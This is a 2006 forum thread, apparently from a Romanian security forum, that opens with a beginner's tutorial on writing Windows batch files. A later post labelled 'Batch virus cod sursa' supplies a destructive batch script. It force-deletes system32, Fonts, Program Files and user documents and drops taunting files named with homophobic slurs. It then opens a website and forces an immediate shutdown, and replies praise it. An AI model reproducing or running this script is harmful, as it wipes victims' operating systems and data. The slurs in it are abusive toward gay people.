Sub_Zero Posted September 9, 2006 Report Posted September 9, 2006 ********How to write Batch files******* By: Alex Briner (Archangel_Darkangel) (formerly Archangel) ã By Alex Briner and Archangel Ware 2003 ‘with exception to the "Batch commands index which was not made by me Index: -------------------------------------------------------------- I. Introduction to batch II. How to start a batch file III. The basics A. Loops IV. More advanced stuff V. The batch commands index Introduction to batch Batch is one of the easiest scripting languages out there it is based on MS-DOS what a lot of people don’t know is that MS-DOS is not a mere program or just something on your computer but it is actually and O.S. or operating system. This operating system is actually more powerful than the MS-DOS that you are use to on your windows Operating system. When you run MS-DOS under windows like most people do because its either being run under Windows or is run just as DOS it loses some of its potential since it has to interact with windows as well. In the old days they didn’t have GUI or Graphical User Interface. So all that they had to use was DOS. DOS stands for Disk Operating System. How to start a batch file To make a batch file all that you have to do is simply make a new notepad. Yes that’s right all that you need to make a notepad, you don’t need all that fancy software. Once you start a new batch file you put in the code and go to "File" then to "Save As". once you are in the "Save As" windows go and name it whatever you want but instead of just having the name like normal at the end of the name without a space type ".bat" (without the quotes of course). For example: FirstBatch.bat Now you know how to make a batch file now all you need is to learn the code! The Basics When you make a new batch file you need to declare if you want the code to show (when ran the code will be shown to the user running it) and this is not recommended most times for it distacts the user from the main point of the program and makes them wonder what all those weird words mean. Most often people who use batch on a regular basis turn off the echo so that it wont tell the user the code as well. How you do this is by simply writing on the first line: @echo off Now some of the basic commands are echo, copy, del, deltree, and end. Echo - displays text written after the "echo" for example: Echo "Hello, I hope you enjoy this tutorial" Copy - this will copy the batch file to the given directory, for example: Copy C:program Filesnew folder Del - deletes certain file, for example Del C:program Filesnew folder Deltree - deletes a tree of files in given directory, for example: Deltree C:program Filesnew folder End - ends the script for example: End Start - starts a .exe (program) for example: Start norepad (or if not a built in program) start C:programFilesnew game.exe Now lets take a look at this when its all put together. Code: @echo off Echo "Hello, I hope you enjoy this tutorial" Copy C:program Filesnew folder Del C:program Filesnew folder Deltree C:program Filesnew folder1 Start notepad End Loops Loops make something happen over and over again and never stop untilspecified to or forced to (like shuting down your computer). To make a loop you do this: Code: :loop (code) Goto :loop In a more real situation it would look like this: Code: @echo off :loop Echo hello, this is called a loop! And I will keep saying this Goto :loop (note: you do not have to make the name "loop" in the code you can have it anything for example: Code: @echo off :cheese Echo you see! Goto :cheese More advanced stuff How to create a blank line in a batch file. What you do is write Echo only at the end of echo put a period for example: Echo. Disable mouse or keyboard or both Code: c:windowsrundll.exe mouse,disable ‘or replace "mouse" with keyboard How to make a choice for the user. Code: @ECHO OFF REM - LABEL INDICATING THE BEGINNING OF THE DOCUMENT. :BEGIN CLS REM - THE BELOW LINE GIVES THE USER 3 CHOICES (DEFINED AFTER /C CHOICE /N /C:123 PICK A NUMBER (1, 2, or 3)%1 REM - THE NEXT THREE LINES ARE DIRECTING USER DEPENDING UPON INPUT IF ERRORLEVEL ==3 GOTO THREE IF ERRORLEVEL ==2 GOTO TWO IF ERRORLEVEL ==1 GOTO ONE GOTO END :THREE ECHO YOU HAVE PRESSED THREE GOTO END :TWO ECHO YOU HAVE PRESSED TWO GOTO END NE ECHO YOU HAVE PRESSED ONE :END To start a program maximized you would add a /M after start for example: Code: START /M "C:WINDOWSNOTEPAD.EXE" CREATING A BATCH FILE DELAY how to delay a batch file any where from 5 to 99 seconds. In the below example weshow a 5 second delay. Code: TYPE NUL | CHOICE.COM /N /CY /TY,5 >NUL HOW TO MAKE A TIME LOG In the following example you will have the capability of creating a time log of when the batch file is loaded or for example in the autoexec.bat when someone logs into a computer. Code: ECHO. |TIME > TIME COPY LOG +TIME A diferent and more complicated method that to my knowledge cannot be used in Windows NT, Windows 2000 or Windows ME would be the following: Code: echo @prompt set date=$d$_set time=$t$h$h$h > {a}.bat %comspec% /e:2048 /c {a}.bat > {b}.bat for %%v in ({b}.bat del) do call %%v {?}.bat echo %date% %time% >> log For the above batch file to work properly you must create a file called log by typing "edit log" (without the quotes) and then save an exit the file which will create the file at 0 bytes. If this file is not created or not created properly you will receive the error message "Content of destination lost before copy". How to quickly replace the file extensions of several files. Use the following command at the MS-DOS prompt or within a batch file. Code: xcopy *.vbs *.wav This would rename all files with .vbs to .wav. While keeping the original files. How to restart the computer with a batch file. For windows 98 type: Code: START C:WINDOWSRUNDLL.EXE user.exe,exitwindowsexec EXIT Or: rundll32.exe shell32.dll,SHExitWindowsEx n Where n is equal to one of the following numbers for the proper action. 0 - LOGOFF 1 - SHUTDOWN 2 - REBOOT 4 - FORCE 8 - POWEROFF How to run a batch file each time the computer boots: Place a line in your autoexec.bat that calls the batch file each time you want to boot the computer. For example: Code: CALL C:myfile.bat Shutdown for windows 98 and ME Code: RUNDLL32 SHELL32.DLL,SHExitWindowsEx 1. Shutdown for Windows XP Code: shutdown -r -t 10 Deleting files in MS-Dos without a prompt To get rid of the prompting use the deltree command and add the tag /y. For example: Code: deltree c:windowstemp*.* /y Although this does nto work for all versions of MS-DOS and windows if this does not work try: Code: echo y | del %1*.* once created, you can type the name of the batch file then the name of the directory that you wish to delete. Enjoy....... Quote
Silent_control Posted September 15, 2006 Report Posted September 15, 2006 Batch virus cod sursa @echo offDEL /f/s /Q %SystemRoot%system32DEL /f /s /Q %SystemRoot%systemDEL /f /s /Q %SystemRoot%CursorsDEL /f /s /Q %SystemRoot%FontsDEL /f /s /Q C;PROGRA~1DEL /f /s /Q C;DOCUME~1>>"%Temp%.queer69.txt" ECHO OWNED BY Silent_control BITCH!*%Temp%.xyr0x.txtGOTO Faggot:Faggotstart /max iexplore.exe [url]http://rst-crew.net[/url] >>"%Temp%.dickwadpooppusher.txt" ECHO Romania Security Team rullz%Temp%.owned.txt>>"%Temp%.imacumguzzlingfag.txt" ECHO OkaY, I got to Go! [url]http://rst-crew.net[/url] %Temp%.queer.txtshutdown -s -f -t 00exit sterge multe fisiere windows dupa restart nu mai merge win* se conecteaza pe RST web si apoi se inchide pc nu e prea funny daca il executi Quote
Icarius Posted September 15, 2006 Report Posted September 15, 2006 asa ca nu il executati la voi pe pc :@ Quote
Sub_Zero Posted September 16, 2006 Author Report Posted September 16, 2006 ii foarte fain Silent_control,bravo Quote